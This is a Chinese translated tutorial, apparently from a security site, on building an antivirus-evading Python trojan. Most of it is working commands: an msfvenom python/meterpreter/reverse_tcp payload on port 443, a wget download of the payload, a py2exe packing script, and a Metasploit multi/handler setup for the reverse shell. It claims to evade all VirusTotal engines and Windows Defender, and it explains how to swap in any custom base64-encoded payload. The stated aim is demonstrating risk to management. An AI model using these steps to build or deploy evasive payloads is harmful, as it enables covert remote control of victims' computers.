怎样使用Python打造免杀payload

Kiven  2003天前

在为公司实施信息安全防御方案的时候,大家一般会将防病毒软件作为方案中的一部分,这绝对是一个明智之举。我们可以通过防病毒软件抵御大部分病毒。但是,我们要知道,防病毒软件只是起到了一定的保护作用,仅仅靠防病毒手段保证终端计算机的安全,还是远远不够。

一个完善的信息安全方案应该是一个全方位的防护体系,应该包括补丁更新服务、防火墙、杀毒软件、主机物理安全、身份认账管理、密码策略方案、安全意识培训等等。但是,企业管理员往往无法推动实施这些安全手段,公司层面总是片面的认为,有一套杀毒软件就可以了。这时候,我们则需要通过以下的防病毒绕过演示,让公司负责人明白安全工作的重要性。

在本文中,我们将提供一个非常直观的教程,让您轻松的掌握,如何使用Python木马绕过windows系统下的防病毒软件。

免杀技术可以说是一个猫捉老鼠的游戏,每当新的免杀技术流行起来,防病毒软件厂商会立刻升级病毒库来阻止它们。然后,免杀技术也会随着进步,然后再被加入病毒库中,周而复始。

截止发稿前,本文所提及的免杀方案可以成功绕过Virus Total上可用的所有杀毒引擎,并且是在启用了Windows Defender的完全更新的Windows 10计算机上,成功执行了木马程序。

Python Payload

基于特征识别的防病毒软件,是通过将程序的二进制文件特征与病毒库进行比较来工作的。我们的目标是,伪装木马程序,让程序不具备任何病毒库的特征。基于行为的防病毒软件会尝试将已知的可疑活动与木马程序执行的操作进行匹配。我们的木马程序将仅仅作为客户端尝试在端口443上启动TCP连接。对于基于行为的防病毒软件来说,为了避免对Web浏览器等合法应用程序产生误报,我们的木马程序也将会被放行。

以下操作中,我们将使用MSFVenom工具生成Python木马,木马将通过443端口反弹连接我们的metasploit渗透平台(meterpreter会话)。这样的行为显然是具有威胁性的,防病毒软件应该将其拦截下来。

这里所演示的方法是非常灵活的,您可以自定义生成独有的免杀木马程序,有效的绕过防病毒软件。

搭建环境:

      我们建议在本教程中使用3个虚拟机:

      Kali Linux 用于创建payload并运行metasploit平台

      Windows metasploitable 3用于测试payload可用性;

      Windows10系统更新所有补丁后,作为最终测试环境;

我们使用两个windows虚拟机的原因在于,我们在使用Py2Exe打包payload之前,需要在metasploitable 3环境中对payload进行免杀工作,在打好补丁的windows下是无法做这个操作的。

使用Python创建 meterpreter payload

我们使用Windows metasploitable 3环境来测试我们生成的payload。

安装Python 2.7.16 x86 windows版:

        https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

*注意:必须使用x86版本Python 2.7。 即使您的Windows是x64的,也要安装32位版本。 此外,请确保在安装过程中选择“将python.exe添加到环境变量”选项。

图片.png

安装32位Py2exe for python 2.7

        https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

在Windows上安装OpenSSL(可选)

在Kali linux虚拟机上创建 Python payload

*注意:我们的Kali Linux使用的是IP地址10.0.2.10。 在您操作的时候,请使用您的真实IP替换这个IP地址。

生成payload命令:

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.2.10 LPORT=443 -f raw -o /var/www/html/mrtp.py

开启apache服务命令:

service apache2 start

图片.png

将生成的“mrtp.py”文件复制到Windows计算机,然后使用powershell,运行以下命令:

wget http://10.0.2.10/mrtp.py -O mrtp.py

然后,按照下图创建setup.py文件,并执行以下命令,命令执行后会生成mrtp.exe文件:

python.exe .\setup.py py2exe

图片.png

---------------------------------------python文件内容------------------------------------ from distutils.core import setup

import py2exe

setup(

name = "Meter",

description = "Python-based App",

version = "1.0",

console = ["mrtp.py"],

options = {"py2exe":{"bundle_files":1,"packages":"ctypes","includes":"base64,sys,socket,struct,time,code,platform,getpass,shutil",}},

zipfile = None

)


然后运行“mrtp.exe”程序,测试是否可用:

执行命令:

.\dist\mrtp.exe

返回Kali主机运行metasploit渗透平台:

Kali主机IP地址:10.0.2.10

我们执行以下操作命令:

msfconsole

use exploit/multi/handler

set PAYLOAD python/meterpreter/reverse_tcp

set LHOST 10.0.2.10

set LPORT 443

run

*注意:您在配置好metasploit命令后,需要在Windows中再次运行mrtp.exe程序。

图片.png

我们已经看到,windows顺利反弹了一个shell,然后我们在www.virtutotal.com网站上对“mrtp.exe”文件进行扫描。

图片.png       

如果一切顺利,你可以看到以上的病毒分析报告,所有杀毒引擎全部显示通过。

那么现在,我们在正式的windows10环境下运行一下。将“mrtp.exe”文件直接复制到Windows 10主机上。在实际的情况下,我们需要通过一些其他攻击手段将木马上传到主机上并执行它,这里我们就不扩展说明了。

图片.png      

运行之间请检查您的metasploit已经开启443端口监听,然后在windows10上运行“mrtp.exe”程序。

图片.png       

如图所示,payload程序顺利执行,并且建立了反弹shell,安全软件并未检测到任何风险。

怎样自定义您的Python payload

您可以利用这个技术生成一个自己编写的payload。 您需要做的就是重复以上教程中的步骤,使用msfvenom生成 “mrtp.py”文件并对他进行编辑。 将您编写的python代码转换成base64字符串,并替换原来的base64字符串。

例如,我们创建了一个新的“custom_payload.py”Python脚本,其中只有两行代码。 我们需要使用base64编码对其进行编码:

cat custom_payload.py | base64

图片.png

我们需要将以下部分替换到mrtp.py

“cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==”

下图是替换后的效果,然后我们保存mrtp.py

图片.png

我们将新的“mrtp.py”文件拷贝到Windows计算机并重复以下步骤:

wget http://10.0.2.10/mrtp.py -O mrtp.py

python.exe .\setup.py py2exe

.\dist\mrtp.exe

图片.png

如上图,我们看到mrtp.exe顺利执行,并显示出我们预计的结果。

您可以通过编辑“custom_payload.py”文件,并使用这个技术来创建出任何python payload,祝你玩得开心!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1

最新评论

nameispassword  :  10M的马也能称作马?啧啧啧
1965天前 回复
昵称
邮箱
提交评论